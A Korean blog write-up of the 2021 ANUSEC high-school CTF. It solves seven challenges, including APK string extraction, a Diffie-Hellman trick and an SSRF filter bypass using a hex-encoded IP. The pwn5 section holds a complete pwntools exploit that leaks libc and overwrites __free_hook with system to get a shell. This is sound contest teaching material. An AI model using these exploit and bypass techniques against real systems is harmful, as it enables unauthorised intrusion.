CTF Writeup

2021 전국 고등학생 보안 경진대회 WriteUp - ANUSEC 안동대

LittleDev0617 2021. 8. 28. 20:24

http://sc.anu.ac.kr/

 

ANUSEC | 전국 고등학생 사이버 보안경진대회

ANUSEC은 전국 고등학생 사이버 보안경진대회 입니다. 국제 유명 해킹대회와 같은 CTF 해킹방어대회로 진행됩니다. 지금 참여하세요!

sc.anu.ac.kr

아침 10시 ~ 오후 5시 20분까지 대회가 진행되었다.

 

나는 위 문제들을 풀었고, 몇개는 플래그를 찾았지만 글자 몇개씩 틀려서 친구가 인증해주었다.

 

1.MIC CHECK

ADCTF{Welcome to ADCTF}

 

2. Question

apk 파일을 준다. 해당 파일을 http://www.javadecompilers.com/apk 에서 디컴파일 후 resources/lib/x86_64/libnative-lib.so 파일을 ida로 열고 Shift + F12를 눌러 문자열들을 확인하고, Ctrl + F 로 ADCTF{를 찾으면 플래그가 나온다.

ADCTF{To_di∃_to_sl€€p_No_mΩre}

 

3. ELEVATOR

apk 파일을 준다. 해당 파일을 http://www.javadecompilers.com/apk 에서 디컴파일 후 resources/lib/x86_64/libnative-lib.so 파일을 ida로 열고 Shift + F12를 눌러 문자열들을 확인하고, Ctrl + F 로 ADCTF{를 찾으면 플래그가 나온다.

ADCTF{ⓣh!$_i$_2l47483647F_w3Lc㉧мE}

4. TRUE

apk 파일을 준다. 해당 파일을 http://www.javadecompilers.com/apk 에서 디컴파일 후 resources/lib/x86_64/libnative-lib.so 파일을 ida로 열고 Shift + F12를 눌러 문자열들을 확인하고, Ctrl + F 로 ADCTF{를 찾으면 플래그가 나온다.

ADCTF{¡Thi$_i$_True!¡Tⓔsténe@m€nte!}

 

5. pwn5

라이브러리 파일과 문제 바이너리 파일 2개를 준다.

ghidra를 이용해 분석을 시작한다.

main 함수는 위 사진과 같다.

2번 입력받고 2번 실행하는 구조이다.

run 함수를 보면 vm 문제라는 것을 짐작할 수 있다.

우선 opcode가 1이면 rsp가 가리키는 곳을 write하고, 2면 read한다.

그리고 위에 0xc9면 rsp에 어떤 연산을 한 후에 값을 넣는다.

이 rsp값을 컨트롤 할 수 있으면 leak, got overwrite 등 공격 할 수 있다.

하지만 Full Relro이므로 got overwrite 대신 다른 방법을 찾아야하는데, 이는 free hook을 바꾸면 된다.

main함수에서 종료하기전에 free(buf)을 해주므로, buf 의 첫부분을 /bin/sh\x00 으로 해주고 free_hook을 system으로 바꿔주면 익스가 될 것이라고 생각했다.

 

rsp = puts got
write(1,rsp,8)
----
/bin/sh
rsp = free_hook
read(0,rsp,8) - &system

대략적인 흐름이다.

 

그리고 0xc9 opcode에서 연산을 하는데, 곱해지는 숫자가 무엇인지 따로 돌려보니 1, 256, 65536, .. 처럼 256의 제곱수가 나왔다. 이 값들과 0xc9 다음의 숫자들과 곱한 것들의 합이니, 그냥 헥스값을 역순으로 넣어주면 된다.

 

처음에 rsp에 puts의 got를 넣어야하는데, puts의 got는 0x403fc0이다. 

그러면 "\xc9\xc0\x3f\x40\x00\x00\x00\x00\x00" 를 실행하면 rsp에 puts의 got가 담기게 된다.

그 후 opcode 1을 이용해서 puts got 를 write 한다.

 

binary1 = "\xc9\xc0\x3f\x40\x00\x00\x00\x00\x00\x01\x08"

 

binary2는 leak 된 puts를 바탕으로 libc base와 free hook을 얻는다.

rsp를 free_hook으로 설정하고,

read를 이용해 system으로 덮어씌운다.

 

총 익스 코드는 다음과 같다.

from pwn import *

context.log_level = 'debug'
e = ELF('./prob')
libc = ELF('./libc-2.31.so')
binary1 = '\xc9' + p64(e.got['puts']) + '\x01\x08'

p = remote('112.175.232.146', 20401)
p.sendlineafter('!\n',binary1);
leak = u64(p.recv(8))
base = leak - libc.symbols['puts']

log.info('%x'%base)

freehook = base + libc.symbols['__free_hook']

binary2 = '/bin/sh\x00\xc9' + p64(freehook) + '\x02\x08'

p.sendlineafter('!\n',binary2);
p.send(p64(base + libc.symbols['system']))
p.interactive()

ADCTF{34sy_VM_Pr0b!~.~!}

 

6. Easy peasy Diffie!

A = 5408787216934625390206205775 와 p=5666348512979131361168406050 을 소인수분해한다.

A = 3 * 7 *  5^2 · 13^4 · 23^5 · 29^2 · 31^2 · 37^5

p = 2 * 11 *  5^2 · 13^4 · 23^5 · 29^2 · 31^2 · 37^5

5^2 부터 끝까지를 k로 둔다면,

A = 21k, p = 22k가 된다.

g^a mod 22k = 21k = -k

(g^a)^b mod 22k = (-k)^b

g^ab mod 22k = (-k)^b

secret key는 g^ab 이다.

숫자가 반복이 되는 것ㅇ을 볼 수 있다.

하나씩 플래그에 인증해보면, 3348296848578577622508603575 가 정답이다.

ADCTF{3348296848578577622508603575}

 

7. Simple SSRF

#!/usr/bin/env python

from flask import Flask, render_template, request, redirect, url_for, abort
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urlparse
from socket import inet_aton
import requests, asyncio, base64

app = Flask(__name__)
app.jinja_env.lstrip_blocks = True
app.jinja_env.trim_blocks = True

async def filtering(hostname, port, filename):
    try:
        if len(hostname.split('.')) != 4: 0/0

        if '112.' in hostname or '.175.' in hostname or '.232.' in hostname or '.146' in hostname: 0/0

        if inet_aton(hostname) != b'\x70\xAF\xE8\x92': 0/0

        if filename != 'ZmxhZw==': 0/0

        if not port: port = 20102

        result = []
        with ThreadPoolExecutor(max_workers=3) as executor:
            loop = asyncio.get_event_loop()
            tasks = [              
                loop.run_in_executor(
                    executor,
                    lambda u: requests.post(u, headers=headers, timeout=2),
                    url
                    ) for url in [f'http://{hostname}:{port}/{filename}', 'http://112.175.232.146:20102/ZmxhZw==']
            ]

            for res in await asyncio.gather(*tasks):
                result.append(res.text)

    except:
        return False

    return result[1] if result[0] == result[1] else False

@app.route('/wellcome/<username>')
def wellcome(username):
    return "Wellcome %s!" %username

@app.route('/adctf2')
def adctf2():
    return render_template('adctf2.html')

@app.route('/adctf2Result', methods=['POST'])
def request_page():
    if request.method == 'POST':
        if 'url' in request.form and request.form['url']:
            url = request.form['url']

            if url[:7] != 'http://':
                url = 'http://' + url

            host_info = urlparse(url)._hostinfo
            path = urlparse(url).path

            filename = path.replace('/', '')
            filename = base64.b64encode(filename.encode('utf-8'))
            filename = filename.decode('utf-8') # binary to string

            asyncio.set_event_loop(asyncio.new_event_loop())
            loop = asyncio.get_event_loop()
            FLAG = loop.run_until_complete(asyncio.ensure_future(filtering(*host_info, filename)))
                                        
            if FLAG:
                return render_template('result.html', flag=FLAG)
            else:
                return redirect(url_for('adctf2'))

        return render_template('result.html')
    else:
        return redirect(url_for('adctf2'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=20102, debug=False)

http://112.175.232.146:20102/ZmxhZw== 를 요청하면 result가 같아 FLAG를 볼 수 있다.

근데 112. 175. 232 .146을 필터링하기 때문에 이를 16진수로 바꿔 우회하면 된다.

http://0x70.0xaf.0xe8.0x92:20102/flag

ADCTF{_Wellc0me_2021ADCTF!!_}

'CTF Writeup' 카테고리의 다른 글

DAM CTF 2021 - Sneaky Script  (0) 2021.11.11
2021 Incognito CTF Writeup  (0) 2021.08.28
Tenable CTF - CODE  (0) 2021.02.24
DarkCON CTF - PWN Writeup  (2) 2021.02.21
2020 Layer7 CTF Writeup - MISC  (0) 2020.11.19